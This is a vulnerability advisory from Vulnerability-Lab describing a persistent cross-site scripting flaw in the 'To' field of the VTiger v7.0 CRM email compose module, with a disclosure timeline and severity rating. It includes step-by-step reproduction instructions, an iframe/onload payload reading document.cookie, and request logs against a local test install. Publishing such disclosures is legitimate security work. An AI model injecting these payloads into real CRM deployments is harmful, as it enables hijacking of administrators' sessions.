VTiger v7.0 CRM - (To) Persistent Email Vulnerability

Document Title:
===============
VTiger v7.0 CRM - (To) Persistent Email Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2227


Release Date:
=============
2020-11-18


Vulnerability Laboratory ID (VL-ID):
====================================
2227


Common Vulnerability Scoring System:
====================================
4.8


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Vtiger CRM is web-application built using PHP. Choose the best CRM for your business. Custom Module & Relationship builder for 
VTiger is a very useful extension that allows crm administrators to create custom modules within few clicks. All custom modules 
are created following strict VTiger standards. In addition, the relationship builder allows crm admin to link together existing modules 
as well as new custom modules.

(Copy of the Homepage: https://www.vtiger.com/open-source-crm/download-open-source/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the VTiger v7.0 CRM open-source web-application.


Affected Product(s):
====================
VTExperts
Product: VTiger v7.0 - CRM (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-04-27: Public Disclosure (Vulnerability Laboratory)
2020-04-28: Researcher Notification & Coordination (Security Researcher)
2020-04-29: Vendor Notification 1 (Security Department)
2020-05-30: Vendor Notification 2 (Security Department)
2020-06-22: Vendor Notification 3 (Security Department)
****-**-**: Vendor Response/Feedback (Security Department)
****-**-**: Vendor Fix/Patch (Service Developer Team)
****-**-**: Security Acknowledgements (Security Department)
2020-11-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official VTiger v7.0 CRM open-source web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise 
browser to web-application requests from the application-side.

The persistent cross site scripting web vulnerability is located in the `searchValue` Parameter of the `Emails Compose` module.
Attackers are able to inject own mlicious script code in the `To` sender input field of the email compose module to attack other 
user accounts. The email can be delivered with multiple receipients which allows an attacker to insert the target email and a 
malicious payload. The request method to inject is GET via searchValue and POST on compose with persistent attack vector.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external 
redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST
[+] GET

Vulnerable Module(s):
[+] Email Compose (index.php?module=Emails)

Vulnerable Input(s):
[+] To (Sender - Email)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Url
http://localhost:8080/vtigercrm/index.php?module=Vendors&relatedModule=Emails&view=Detail&record=3883&mode=showRelatedList&relationId=62&tab_label=Emails&app=INVENTORY#


Manual steps to reproduce the vulnerability ...
1. Open the web-application ui
2. Login with a regular user role to the ui
3. Open vendors and move to compose to email form
4. Inject malicious payload as "to" sender information and as well a valid email to target
5. Send the request after the compose
6. Wait until the administrator or higher privileged targeted users click in the email or receives the email on preview
7. Successful reproduce of the cross site scripting web vulnerability!


PoC: Vulnerable Source (Execution Point)
<div class="col-lg-12"><div class="col-lg-2"><span class="pull-right">To&nbsp;<span class="redColor">*</span></span></div>
<div class="col-lg-6"><div class="select2-container select2-container-multi autoComplete sourceField select2" 
id="s2id_emailField" style="width: 100%;"><ul class="select2-choices ui-sortable">  <li class="select2-search-choice">
<div>IT <b>([email protected])</b></div>    <a href="#" class="select2-search-choice-close" tabindex="-1"></a></li>
<li class="select2-search-choice"><div><iframe src"evil.source" onload=alert(document.cookie)></div></iframe></div> 


--- PoC Session Logs [GET] ---
http://localhost:8080/vtigercrm/index.php?module=Emails&action=BasicAjax&searchValue=>"<iframe+src%3Da+onload%3Dalert(document.cookie)>&_=1587844428851
Host: localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://localhost:8080/vtigercrm/index.php?module=Vendors&relatedModule=Emails&view=Detail&record=3883&mode=showRelatedList&relationId=62&tab_label=Emails&app=INVENTORY
Cookie: PHPSESSID=ni2357om9nni5vvhovf20rkt51
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.10 (Debian)
Content-Length: 28
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
-
Content-Type: text/json; charset=UTF-8
http://localhost:8080/vtigercrm/evil.source
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer: http://localhost:8080/vtigercrm/index.php?module=Vendors&relatedModule=Emails&view=Detail&record=3883&mode=showRelatedList&relationId=62&tab_label=Emails&app=INVENTORY
Cookie: PHPSESSID=ni2357om9nni5vvhovf20rkt51
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.10
Content-Length: 299
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1


Reference(s):
http://localhost:8080/vtigercrm/
http://localhost:8080/vtigercrm/index.php
http://localhost:8080/vtigercrm/index.php?module=Emails&action=BasicAjax&searchValue=


Security Risk:
==============
The security risk of the persistent web vulnerability i the web-application is estimated as medium. 


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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